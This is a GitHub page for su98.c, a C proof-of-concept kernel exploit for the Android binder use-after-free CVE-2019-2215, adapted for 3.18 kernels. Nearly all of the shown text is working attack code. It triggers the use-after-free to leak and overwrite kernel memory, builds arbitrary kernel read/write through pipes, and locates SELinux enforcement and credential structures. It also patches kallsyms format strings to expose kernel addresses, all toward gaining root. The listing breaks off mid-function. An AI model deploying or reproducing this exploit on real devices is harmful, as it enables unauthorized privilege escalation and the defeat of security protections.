-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathsu98.c
executable file
·1483 lines (1233 loc) · 44.5 KB
/
su98.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
/*
* POC to gain arbitrary kernel R/W access using CVE-2019-2215
* https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
*
* Jann Horn & Maddie Stone of Google Project Zero
* Some stuff from Grant Hernandez to achieve root (Oct 15th 2019)
* Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98
*
* October 2019
*/
#define DELAY_USEC 200000
// $ uname -a
// Linux localhost 3.18.71-perf+ #1 SMP PREEMPT Tue Jul 17 14:44:34 KST 2018 aarch64
//#define KERNEL_BASE 0xffffffc000080000ul
#define KERNEL_BASE 0xffffffc000000000ul
#define OFFSET__thread_info__flags 0x000
#define OFFSET__task_struct__stack 0x008
#define OFFSET__cred__uid 0x004
#define OFFSET__cred__securebits 0x024
#define OFFSET__cred__cap_permitted 0x030
#define OFFSET__cred__cap_effective (OFFSET__cred__cap_permitted+0x008)
#define OFFSET__cred__cap_bset (OFFSET__cred__cap_permitted+0x010)
#define USER_DS 0x8000000000ul
#define BINDER_SET_MAX_THREADS 0x40046205ul
#define MAX_THREADS 3
#define RETRIES 3
#define PROC_KALLSYMS
#define KALLSYMS_CACHING
#define KSYM_NAME_LEN 128
//Not needed, but saved for future use; the offsets are for LGV20 LS998
//#define OFFSET__task_struct__seccomp 0x9b0
//#define OFFSET__cred__user_ns 0x088 // if you define this, the first run might be a little faster
//#define OFFSET__task_struct__cred 0x550
#define OFFSET__cred__security 0x078
#define OFFSET__cred__cap_inheritable 0x028
#define OFFSET__cred__cap_ambient 0x048
//#define OFFSET__task_struct__mm 0x308
#define _GNU_SOURCE
#include <libgen.h>
#include <time.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <ctype.h>
#include <sys/uio.h>
#include <err.h>
#include <sched.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <linux/sched.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <errno.h>
#define MAX_PACKAGE_NAME 1024
#define MIN(x, y) ((x) < (y) ? (x) : (y))
#define MAX(x, y) ((x) > (y) ? (x) : (y))
#define BINDER_THREAD_EXIT 0x40046208ul
// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized
#define BINDER_THREAD_SZ 0x188
#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25
#define WAITQUEUE_OFFSET (0x98)
#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10
#define UAF_SPINLOCK 0x10001
#define PAGE 0x1000ul
#define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8
int quiet = 0;
const char whitelist[] = "su98-whitelist.txt";
const char denyfile[] = "su98-denied.txt";
int have_kallsyms = 0;
int kernel3 = 1;
char* myPath;
char* myName;
struct kallsyms {
unsigned long addresses;
unsigned long names;
unsigned long num_syms;
unsigned long token_table;
unsigned long markers;
char* token_table_data;
unsigned short token_index_data[256];
} kallsyms;
void message(char *fmt, ...)
{
if (quiet)
return;
va_list ap;
va_start(ap, fmt);
vprintf(fmt, ap);
va_end(ap);
putchar('\n');
}
void error(char* fmt, ...)
{
va_list ap;
va_start(ap, fmt);
vfprintf(stderr, fmt, ap);
va_end(ap);
fprintf(stderr, ": %s\n", errno ? strerror(errno) : "error");
exit(1);
}
int isKernelPointer(unsigned long p) {
return p >= KERNEL_BASE && p<=0xFFFFFFFFFFFFFFFEul;
}
unsigned long kernel_read_ulong(unsigned long kaddr);
void hexdump_memory(void *_buf, size_t byte_count)
{
unsigned char *buf = _buf;
unsigned long byte_offset_start = 0;
if (byte_count % 16)
error( "hexdump_memory called with non-full line");
for (unsigned long byte_offset = byte_offset_start; byte_offset < byte_offset_start + byte_count;
byte_offset += 16)
{
char line[1000];
char *linep = line;
linep += sprintf(linep, "%08lx ", byte_offset);
for (int i = 0; i < 16; i++)
{
linep += sprintf(linep, "%02hhx ", (unsigned char)buf[byte_offset + i]);
}
linep += sprintf(linep, " |");
for (int i = 0; i < 16; i++)
{
char c = buf[byte_offset + i];
if (isalnum(c) || ispunct(c) || c == ' ')
{
*(linep++) = c;
}
else
{
*(linep++) = '.';
}
}
linep += sprintf(linep, "|");
puts(line);
}
}
int epfd;
int binder_fd;
unsigned long iovec_size(struct iovec *iov, int n)
{
unsigned long sum = 0;
for (int i = 0; i < n; i++)
sum += iov[i].iov_len;
return sum;
}
unsigned long iovec_max_size(struct iovec *iov, int n)
{
unsigned long m = 0;
for (int i = 0; i < n; i++)
{
if (iov[i].iov_len > m)
m = iov[i].iov_len;
}
return m;
}
int clobber_data(unsigned long payloadAddress, const void *src, unsigned long payloadLength)
{
int dummyBufferSize = MAX(UAF_SPINLOCK, PAGE);
char *dummyBuffer = malloc(dummyBufferSize);
if (dummyBuffer == NULL)
error( "allocating dummyBuffer");
memset(dummyBuffer, 0, dummyBufferSize);
message("PARENT: clobbering at 0x%lx", payloadAddress);
struct epoll_event event = {.events = EPOLLIN};
int max_threads = 2;
ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads);
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event))
error( "epoll_add");
unsigned long testDatum = 0;
unsigned long const testValue = 0xABCDDEADBEEF1234ul;
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
const unsigned SECOND_WRITE_CHUNK_IOVEC_ITEMS = 3;
unsigned long second_write_chunk[SECOND_WRITE_CHUNK_IOVEC_ITEMS * 2] = {
(unsigned long)dummyBuffer,
/* iov_base (currently in use) */ // wq->task_list->next
SECOND_WRITE_CHUNK_IOVEC_ITEMS * 0x10,
/* iov_len (currently in use) */ // wq->task_list->prev
payloadAddress, //(unsigned long)current_ptr+0x8, // current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */
payloadLength,
(unsigned long)&testDatum,
sizeof(testDatum),
};
int delta = (UAF_SPINLOCK + sizeof(second_write_chunk)) % PAGE;
int paddingSize = delta == 0 ? 0 : PAGE - delta;
iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = dummyBuffer;
iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize;
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummyBuffer;
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; // spinlock: will turn to UAF_SPINLOCK
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = second_write_chunk; // wq->task_list->next: will turn to payloadAddress of task_list
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = sizeof(second_write_chunk); // wq->task_list->prev: will turn to payloadAddress of task_list
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = dummyBuffer; // stuff from this point will be overwritten and/or ignored
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = UAF_SPINLOCK;
iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_base = dummyBuffer;
iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_len = payloadLength;
iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_base = dummyBuffer;
iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_len = sizeof(testDatum);
int totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ);
int pipes[2];
pipe(pipes);
if ((fcntl(pipes[0], F_SETPIPE_SZ, PAGE)) != PAGE)
error( "pipe size");
if ((fcntl(pipes[1], F_SETPIPE_SZ, PAGE)) != PAGE)
error( "pipe size");
pid_t fork_ret = fork();
if (fork_ret == -1)
error( "fork");
if (fork_ret == 0)
{
/* Child process */
prctl(PR_SET_PDEATHSIG, SIGKILL);
usleep(DELAY_USEC);
message("CHILD: Doing EPOLL_CTL_DEL.");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
message("CHILD: Finished EPOLL_CTL_DEL.");
char *f = malloc(totalLength);
if (f == NULL)
error( "Allocating memory");
memset(f, 0, paddingSize + UAF_SPINLOCK);
unsigned long pos = paddingSize + UAF_SPINLOCK;
memcpy(f + pos, second_write_chunk, sizeof(second_write_chunk));
pos += sizeof(second_write_chunk);
memcpy(f + pos, src, payloadLength);
pos += payloadLength;
memcpy(f + pos, &testValue, sizeof(testDatum));
pos += sizeof(testDatum);
write(pipes[1], f, pos);
message("CHILD: wrote %lu", pos);
close(pipes[1]);
close(pipes[0]);
exit(0);
}
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
int b = readv(pipes[0], iovec_array, IOVEC_ARRAY_SZ);
message("PARENT: readv returns %d, expected %d", b, totalLength);
if (testDatum != testValue)
message( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum, testValue);
else
message("PARENT: clobbering test passed");
free(dummyBuffer);
close(pipes[0]);
close(pipes[1]);
return testDatum == testValue;
}
int leak_data(void *leakBuffer, int leakAmount,
unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount,
unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p)
{
unsigned long const minimumLeak = TASK_STRUCT_OFFSET_FROM_TASK_LIST + 8;
unsigned long adjLeakAmount = MAX(leakAmount, 4336); // TODO: figure out why we need at least 4336; I would think that minimumLeak should be enough
int success = 1;
struct epoll_event event = {.events = EPOLLIN};
int max_threads = 2;
ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads);
if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event))
error( "epoll_add");
struct iovec iovec_array[IOVEC_ARRAY_SZ];
memset(iovec_array, 0, sizeof(iovec_array));
int delta = (UAF_SPINLOCK + minimumLeak) % PAGE;
int paddingSize = (delta == 0 ? 0 : PAGE - delta) + PAGE;
iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_base = (unsigned long *)0xDEADBEEF;
iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_len = PAGE;
iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = (unsigned long *)0xDEADBEEF;
iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize - PAGE;
iovec_array[IOVEC_INDX_FOR_WQ].iov_base = (unsigned long *)0xDEADBEEF;
iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; /* spinlock: will turn to UAF_SPINLOCK */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (unsigned long *)0xDEADBEEF; /* wq->task_list->next */
iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = adjLeakAmount; /* wq->task_list->prev */
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (unsigned long *)0xDEADBEEF; // we shouldn't get to here
iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = extraLeakAmount + UAF_SPINLOCK + 8;
unsigned long totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ);
unsigned long maxLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ);
unsigned char *dataBuffer = malloc(maxLength);
if (dataBuffer == NULL)
error( "Allocating %ld bytes", maxLength);
for (int i = 0; i < IOVEC_ARRAY_SZ; i++)
if (iovec_array[i].iov_base == (unsigned long *)0xDEADBEEF)
iovec_array[i].iov_base = dataBuffer;
int b;
int pipefd[2];
int leakPipe[2];
if (pipe(pipefd))
error( "pipe");
if (pipe(leakPipe))
err(2, "pipe");
if ((fcntl(pipefd[0], F_SETPIPE_SZ, PAGE)) != PAGE)
error( "pipe size");
if ((fcntl(pipefd[1], F_SETPIPE_SZ, PAGE)) != PAGE)
error( "pipe size");
pid_t fork_ret = fork();
if (fork_ret == -1)
error( "fork");
if (fork_ret == 0)
{
/* Child process */
char childSuccess = 1;
prctl(PR_SET_PDEATHSIG, SIGKILL);
usleep(DELAY_USEC);
message("CHILD: Doing EPOLL_CTL_DEL.");
epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event);
message("CHILD: Finished EPOLL_CTL_DEL.");
unsigned long size1 = paddingSize + UAF_SPINLOCK + minimumLeak;
message("CHILD: initial portion length 0x%lx", size1);
char buffer[size1];
memset(buffer, 0, size1);
if (read(pipefd[0], buffer, size1) != size1)
error( "reading first part of pipe");
memcpy(dataBuffer, buffer + size1 - minimumLeak, minimumLeak);
int badPointer = 0;
if (memcmp(dataBuffer, dataBuffer + 8, 8))
badPointer = 1;
unsigned long addr = 0;
memcpy(&addr, dataBuffer, 8);
if (!isKernelPointer(addr)) {
badPointer = 1;
childSuccess = 0;
}
unsigned long task_struct_ptr = 0;
memcpy(&task_struct_ptr, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8);
message("CHILD: task_struct_ptr = 0x%lx", task_struct_ptr);
if (!badPointer && (extraLeakAmount > 0 || task_struct_plus_8_p != NULL))
{
unsigned long extra[6] = {
addr,
adjLeakAmount,
extraLeakAddress,
extraLeakAmount,
task_struct_ptr + 8,
8};
message("CHILD: clobbering with extra leak structures");
if (clobber_data(addr, &extra, sizeof(extra)))
message("CHILD: clobbered");
else {
message("CHILD: **fail** iovec clobbering didn't work");
childSuccess = 0;
}
}
errno = 0;
if (read(pipefd[0], dataBuffer + minimumLeak, adjLeakAmount - minimumLeak) != adjLeakAmount - minimumLeak)
error("leaking");
write(leakPipe[1], dataBuffer, adjLeakAmount);
if (extraLeakAmount > 0)
{
message("CHILD: extra leak");
if (read(pipefd[0], extraLeakBuffer, extraLeakAmount) != extraLeakAmount) {
childSuccess = 0;
error( "extra leaking");
}
write(leakPipe[1], extraLeakBuffer, extraLeakAmount);
//hexdump_memory(extraLeakBuffer, (extraLeakAmount+15)/16*16);
}
if (task_struct_plus_8_p != NULL)
{
if (read(pipefd[0], dataBuffer, 8) != 8) {
childSuccess = 0;
error( "leaking second field of task_struct");
}
message("CHILD: task_struct_ptr = 0x%lx", *(unsigned long *)dataBuffer);
write(leakPipe[1], dataBuffer, 8);
}
write(leakPipe[1], &childSuccess, 1);
close(pipefd[0]);
close(pipefd[1]);
close(leakPipe[0]);
close(leakPipe[1]);
message("CHILD: Finished write to FIFO.");
if (badPointer) {
errno = 0;
message("CHILD: **fail** problematic address pointer, e.g., %lx", addr);
}
exit(0);
}
message("PARENT: soon will be calling WRITEV");
errno = 0;
ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ);
message("PARENT: writev() returns 0x%x", (unsigned int)b);
if (b != totalLength) {
message( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength);
success = 0;
goto DONE;
}
message("PARENT: Reading leaked data");
b = read(leakPipe[0], dataBuffer, adjLeakAmount);
if (b != adjLeakAmount) {
message( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b, adjLeakAmount);
success = 0;
goto DONE;
}
if (leakAmount > 0)
memcpy(leakBuffer, dataBuffer, leakAmount);
if (extraLeakAmount != 0)
{
message("PARENT: Reading extra leaked data");
b = read(leakPipe[0], extraLeakBuffer, extraLeakAmount);
if (b != extraLeakAmount) {
message( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%lx", b, extraLeakAmount);
success = 0;
goto DONE;
}
}
if (task_struct_plus_8_p != NULL)
{
if (read(leakPipe[0], task_struct_plus_8_p, 8) != 8) {
message( "PARENT: **fail** reading leaked task_struct at offset 8");
success = 0;
goto DONE;
}
}
char childSucceeded=0;
read(leakPipe[0], &childSucceeded, 1);
if (!childSucceeded)
success = 0;
if (task_struct_ptr_p != NULL)
memcpy(task_struct_ptr_p, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8);
DONE:
close(pipefd[0]);
close(pipefd[1]);
close(leakPipe[0]);
close(leakPipe[1]);
int status;
wait(&status);
//if (wait(&status) != fork_ret) error( "wait");
free(dataBuffer);
if (success)
message("PARENT: leaking successful");
return success;
}
int leak_data_retry(void *leakBuffer, int leakAmount,
unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount,
unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) {
int try = 0;
while (try < RETRIES && !leak_data(leakBuffer, leakAmount, extraLeakAddress, extraLeakBuffer, extraLeakAmount, task_struct_ptr_p, task_struct_plus_8_p)) {
message("MAIN: **fail** retrying");
try++;
}
if (0 < try && try < RETRIES)
message("MAIN: it took %d tries, but succeeded", try);
return try < RETRIES;
}
int clobber_data_retry(unsigned long payloadAddress, const void *src, unsigned long payloadLength) {
int try = 0;
while (try < RETRIES && !clobber_data(payloadAddress, src, payloadLength)) {
message("MAIN: **fail** retrying");
try++;
}
if (0 < try && try < RETRIES)
message("MAIN: it took %d tries, but succeeded", try);
return try < RETRIES;
}
int kernel_rw_pipe[2];
struct kernel_buffer {
unsigned char pageBuffer[PAGE];
unsigned long pageBufferOffset;
} kernel_buffer = { .pageBufferOffset = 0 };
void reset_kernel_pipes()
{
kernel_buffer.pageBufferOffset = 0;
close(kernel_rw_pipe[0]);
close(kernel_rw_pipe[1]);
if (pipe(kernel_rw_pipe))
error( "kernel_rw_pipe");
}
int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len)
{
if (len > PAGE)
error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], buf, len) != len ||
read(kernel_rw_pipe[0], (void *)kaddr, len) != len)
{
reset_kernel_pipes();
return 0;
}
return len;
}
void kernel_write(unsigned long kaddr, void *buf, unsigned long len)
{
if (len != raw_kernel_write(kaddr, buf, len))
error( "error with kernel writing");
}
int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len)
{
if (len > PAGE)
error( "kernel writes over PAGE_SIZE are messy, tried 0x%lx", len);
if (write(kernel_rw_pipe[1], (void *)kaddr, len) != len || read(kernel_rw_pipe[0], buf, len) != len)
{
reset_kernel_pipes();
return 0;
}
return len;
}
void kernel_read(unsigned long kaddr, void *buf, unsigned long len)
{
if (len > PAGE)
error( "kernel reads over PAGE_SIZE are messy, tried 0x%lx", len);
if (len != raw_kernel_read(kaddr, buf, len))
error( "error with kernel reading");
}
unsigned char kernel_read_uchar(unsigned long offset) {
if (kernel_buffer.pageBufferOffset == 0 || offset < kernel_buffer.pageBufferOffset || kernel_buffer.pageBufferOffset+PAGE <= offset) {
kernel_buffer.pageBufferOffset = offset & ~(PAGE-1);
kernel_read(kernel_buffer.pageBufferOffset, kernel_buffer.pageBuffer, PAGE);
}
return kernel_buffer.pageBuffer[offset-kernel_buffer.pageBufferOffset];
}
unsigned long kernel_read_ulong(unsigned long kaddr)
{
unsigned long data;
kernel_read(kaddr, &data, sizeof(data));
return data;
}
unsigned long kernel_read_uint(unsigned long kaddr)
{
unsigned int data;
kernel_read(kaddr, &data, sizeof(data));
return data;
}
void kernel_write_ulong(unsigned long kaddr, unsigned long data)
{
kernel_write(kaddr, &data, sizeof(data));
}
void kernel_write_uint(unsigned long kaddr, unsigned int data)
{
kernel_write(kaddr, &data, sizeof(data));
}
void kernel_write_uchar(unsigned long kaddr, unsigned char data)
{
kernel_write(kaddr, &data, sizeof(data));
}
// code from DrZener
unsigned long findSelinuxEnforcingFromAvcDenied(unsigned long avc_denied_address)
{
unsigned long address;
unsigned long selinux_enforcing_address;
bool adrp_found = 0;
for(address = avc_denied_address; address <= avc_denied_address + 0x60; address += 4)
{
unsigned int instruction = kernel_read_uint(address);
if(!adrp_found)
{
unsigned int instruction_masked = instruction;
instruction_masked >>= 24;
instruction_masked &= 0x9F;
if((instruction_masked ^ 0x90) == 0 )
{
selinux_enforcing_address = address;
unsigned int imm_hi, imm_lo, imm;
imm_hi = (instruction >> 5) & 0x7FFFF;
imm_lo = (instruction >> 29) & 3;
imm = ((imm_hi << 2) | imm_lo) << 12;
selinux_enforcing_address &= 0xFFFFFFFFFFFFF000;
selinux_enforcing_address += imm;
adrp_found = 1;
}
}
if (adrp_found)
{
unsigned int instruction_masked = instruction;
instruction_masked >>= 22;
instruction_masked &= 0x2FF;
if((instruction_masked ^ 0x2E5) == 0 )
{
unsigned int offset = ((instruction >> 10) & 0xFFF) << 2;
selinux_enforcing_address += offset;
message("selinux_enforcing address found");
return selinux_enforcing_address;
}
}
}
message("selinux_enforcing address not found");
return 0UL;
}
// Make the kallsyms module not check for permission to list symbol addresses
int fixKallsymsFormatStrings(unsigned long start)
{
errno = 0;
int found = 0;
start &= ~(PAGE - 1);
unsigned long searchTarget;
memcpy(&searchTarget, "%pK %c %", 8);
int backwards = 1;
int forwards = 1;
int direction = 1;
unsigned long forwardAddress = start;
unsigned long backwardAddress = start - PAGE;
unsigned long page[PAGE / 8];
message("MAIN: searching for kallsyms format strings");
while ((backwards || forwards) && found < 2)
{
unsigned long address = direction > 0 ? forwardAddress : backwardAddress;
if (address < 0xffffffc000000000ul || address >= 0xffffffd000000000ul || raw_kernel_read(address, page, PAGE) != PAGE)
{
if (direction > 0)
forwards = 0;
else
backwards = 0;
}
else
{
for (int i = 0; i < PAGE / 8; i++)
if (page[i] == searchTarget)
{
unsigned long a = address + 8 * i;
char fmt[16];
kernel_read(a, fmt, 16);
if (!strcmp(fmt, "%pK %c %s\t[%s]\x0A"))
{
message("MAIN: patching longer version at %lx", a);
if (15 != raw_kernel_write(a, "%p %c %s\t[%s]\x0A", 15)) {
message("MAIN: **fail** probably you have read-only const storage");
return found;
}
found++;
}
else if (!strcmp(fmt, "%pK %c %s\x0A"))
{
message("MAIN: patching shorter version at %lx", a);
if (15 != raw_kernel_write(a, "%p %c %s\x0A", 10)) {
message("MAIN: **fail** probably you have read-only const storage");
return found;
}
found++;
}
if (found >= 2)
return 2;
}
}
if (direction > 0)
forwardAddress += PAGE;
else
backwardAddress -= PAGE;
direction = -direction;
if (direction < 0 && !backwards)
{
direction = 1;
}
else if (direction > 0 && !forwards)
{
direction = -1;
}
}
return found;
}
int verifyCred(unsigned long cred_ptr) {
unsigned uid;
if (cred_ptr < 0xffffff0000000000ul || 4 != raw_kernel_read(cred_ptr+OFFSET__cred__uid, &uid, 4))
return 0;
return uid == getuid();
}
int getCredOffset(unsigned char* task_struct_data) {
char taskname[16];
unsigned n = MIN(strlen(myName)+1, 16);
memcpy(taskname, myName, n);
taskname[15] = 0;
for (int i=OFFSET__task_struct__stack+8; i<PAGE-16; i+=8) {
if (0 == memcmp(task_struct_data+i, taskname, n) && verifyCred(*(unsigned long*)(task_struct_data+i-8)))
return i-8;
}
errno=0;
error("Cannot find cred structure");
return -1;
}
int getSeccompOffset(unsigned char* task_struct_data, unsigned credOffset, unsigned seccompStatus) {
if (seccompStatus != 2)
return -1;
unsigned long firstGuess = -1;
for (int i=credOffset&~7; i<PAGE-24; i+=8) {
struct {
unsigned long seccomp_status;
unsigned long seccomp_filter;
unsigned int parent_exe;
unsigned int child_exe;
} *p = (void*)(task_struct_data+i);
if (p->seccomp_status == seccompStatus && isKernelPointer(p->seccomp_filter)) {
if (p->child_exe == p->parent_exe + 1) {
return i;
}
else {
if (firstGuess < 0)
firstGuess = i;
}
}
}
return firstGuess;
}
unsigned long countIncreasingEntries(unsigned long start) {
unsigned long count = 1;
unsigned long prev = kernel_read_ulong(start);
do {
start += 8;
unsigned long v = kernel_read_ulong(start);
if (v < prev)
return count;
count++;
} while(1);
}
int increasing(unsigned long* location, unsigned n) {
for (int i=0; i<n-1; i++)
if (location[i] > location[i+1])
return 0;
return 1;
}
int find_kallsyms_addresses(unsigned long searchStart, unsigned long searchEnd, unsigned long* startP, unsigned long* countP) {
if (searchStart == 0)
searchStart = KERNEL_BASE;
if (searchEnd == 0)
searchEnd = searchStart + 0x5000000;
unsigned long foundStart = 0;
unsigned char page[PAGE];
for (unsigned long i=searchStart; i<searchEnd ; i+=PAGE) {
if (PAGE == raw_kernel_read(i, page, PAGE))
for (int j=0; j<PAGE; j+=0x100) {
if (isKernelPointer(*(unsigned long*)(page+j)) && increasing((unsigned long*)(page+j), 256/8-1)) {
unsigned long count = countIncreasingEntries(i+j);
if (count >= 40000) {
*startP = i+j;
*countP = count;
return 1;
}
else if (count >= 10000) {
message("MAIN: interesting, found a sequence of 10000 non-decreasing entries at 0x%lx", (i+j));
}
}
}
}
return 0;
}
int get_kallsyms_name(unsigned long offset, char* name) {
unsigned char length = kernel_read_uchar(offset++);
for (unsigned char i = 0; i < length ; i++) {
int index = kallsyms.token_index_data[kernel_read_uchar(offset++)];
int n = strlen(kallsyms.token_table_data+index);
memcpy(name, kallsyms.token_table_data+index, n);
name += n;
}
*name = 0;
return 1+length;
}
int loadKallsyms() {
if (have_kallsyms)
return 1;
if (!find_kallsyms_addresses(0, 0, &kallsyms.addresses, &kallsyms.num_syms))
return 0;
message("MAIN: kallsyms names start at 0x%lx and have %ld entries", kallsyms.addresses, kallsyms.num_syms);
unsigned long offset = kallsyms.addresses + 8 * kallsyms.num_syms;
message("MAIN: kallsyms names end at 0x%lx", offset);
struct kernel_buffer buf = {.pageBufferOffset = 0};
offset = (offset + 0xFFul) & ~0xFFul;
unsigned long count = kernel_read_ulong(offset);
offset += 8;
if (count != kallsyms.num_syms) {
message("MAIN: **fail** kallsym entry count mismatch %ld", count);
}
offset = (offset + 0xFFul) & ~0xFFul;
kallsyms.names = offset;
for (unsigned long i = 0 ; i < kallsyms.num_syms ; i++) {
unsigned char len = kernel_read_uchar(offset++);
offset += len;
}
offset = (offset + 0xFF) & ~0xFFul;
kallsyms.markers = offset;
offset += 8 * ((kallsyms.num_syms + 255ul) / 256ul);
offset = (offset + 0xFF) & ~0xFFul;
kallsyms.token_table = offset;
int tokens = 0;
while (tokens < 256) {
if (kernel_read_uchar(offset++) == 0)
tokens++;
}
unsigned long token_table_length = offset - kallsyms.token_table;
kallsyms.token_table_data = malloc(token_table_length);
errno = 0;
